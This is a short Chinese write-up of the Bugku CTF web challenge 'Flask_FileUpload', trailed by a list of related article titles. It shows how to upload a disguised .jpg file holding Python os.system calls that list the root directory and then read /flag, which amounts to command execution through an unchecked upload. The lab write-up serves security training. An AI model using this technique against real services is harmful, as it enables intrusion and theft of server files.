Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
qq_589666051 小时前
TypeScript 完整入门教程tkevinjd2 小时前
MiniCode 项目详解6：原项目控制系统的10个缺陷（已修复）绘梨衣的sakura路2 小时前
Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析：三层绕过机制与完整利用链dNGUZ7UGj3 小时前
10分钟完成第一个Python小游戏没有梦想的咸鱼185-1037-16633 小时前
AI-Python机器学习与深度学习技术：CNN/Transformer/扩散模型、SHAP可解释及Hermes智能体自动化霸道流氓气质3 小时前
SpringBoot中通用工具类库（Utils）封装与使用实践用户059540174465 小时前
LLM对话记忆测试踩坑实录：手工回归30分钟，自动化后2分钟发现3个隐藏Bugniaiheni5 小时前
Fastjson 1.2.83 “Gadget-Free“ RCEDraina5 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto AttackAngel Q.6 小时前
特征提取 | DINO 到 DINOv3